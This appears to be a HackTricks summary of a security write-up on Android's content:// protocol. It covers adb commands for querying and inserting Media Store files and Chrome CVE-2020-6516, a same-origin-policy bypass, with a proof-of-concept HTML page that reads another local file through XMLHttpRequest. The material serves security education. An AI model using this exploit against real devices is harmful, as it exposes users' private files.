content:// protocol
Learn & practice AWS Hacking: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking:
Learn & practice GCP Hacking:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE)

This is a summary of the post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Listing Files in Media Store
To list files managed by the Media Store, the command below can be used:
$ content query --uri content://media/external/fileFor a more human-friendly output, displaying only the identifier and path of each indexed file:
$ content query --uri content://media/external/file --projection _id,_dataContent providers are isolated in their own private namespace. Access to a provider requires the specific content:// URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.
Chrome's Access to Content Providers
Chrome on Android can access content providers through the content:// scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:
Insert a custom entry into the Media Store:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
    --bind _data:s:/storage/emulated/0/test.txt \
    --bind mime_type:s:text/plainDiscover the identifier of the newly inserted file:
content query --uri content://media/external/file \
    --projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txtThe file can then be viewed in Chrome using a URL constructed with the file's identifier.
For instance, to list files related to a specific application:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>Chrome CVE-2020-6516: Same-Origin-Policy Bypass
The Same Origin Policy (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers content:// as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.
However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a content:// URL. In effect, JavaScript code from a content:// URL could access other resources loaded via content:// URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.
The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under /sdcard and added to the Media Store, uses XMLHttpRequest in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.
Proof-of-Concept HTML:
<html>
<head>
    <title>PoC</title>
    <script type="text/javascript">
        function poc()
        {
            var xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function()
            {
                if(this.readyState == 4)
                {
                    if(this.status == 200 || this.status == 0)
                    {
                        alert(xhr.response);
                    }
                }
            }
            xhr.open("GET", "content://media/external/file/747");
            xhr.send();
        }
    </script>
</head>
<body onload="poc()"></body>
</html>
Learn & practice AWS Hacking: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking:
Learn & practice GCP Hacking:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE)
Last updated